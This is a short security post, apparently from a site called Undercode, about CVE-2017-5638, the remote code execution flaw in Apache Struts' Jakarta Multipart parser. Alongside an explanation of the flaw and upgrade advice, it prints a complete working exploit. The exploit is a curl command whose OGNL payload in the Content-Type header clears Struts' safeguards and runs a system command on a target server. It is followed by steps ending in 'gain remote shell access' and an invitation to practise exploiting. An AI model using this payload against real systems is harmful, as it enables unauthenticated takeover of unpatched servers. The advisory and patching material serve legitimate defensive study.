Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The exploit is triggered by a malformed `Content-Type` HTTP header in a file upload request. An attacker can craft this header to include malicious expressions for the Object-Graph Navigation Language (OGNL). The flawed error handling mechanism in the parser incorrectly interprets this crafted header. Instead of rejecting the invalid request, the server processes the OGNL expressions contained within the header. This occurs during the exception handling routine, where user input is evaluated. Since OGNL expressions can execute arbitrary system commands, this flaw allows an unauthenticated attacker to achieve Remote Code Execution on the target server. The attacker gains the ability to run any command with the same privileges as the Struts application process.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/upload.action`
How Exploit:
Craft malicious Content-Type header.
Target vulnerable Struts endpoint.
OGNL expression execution.
Gain remote shell access.
Protection from this CVE:
Upgrade to Struts 2.3.32 or 2.5.10.1.
Implement WAF rules.
Filter malicious Content-Type headers.
Impact:
Full system compromise.
Data breach potential.
Complete server control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
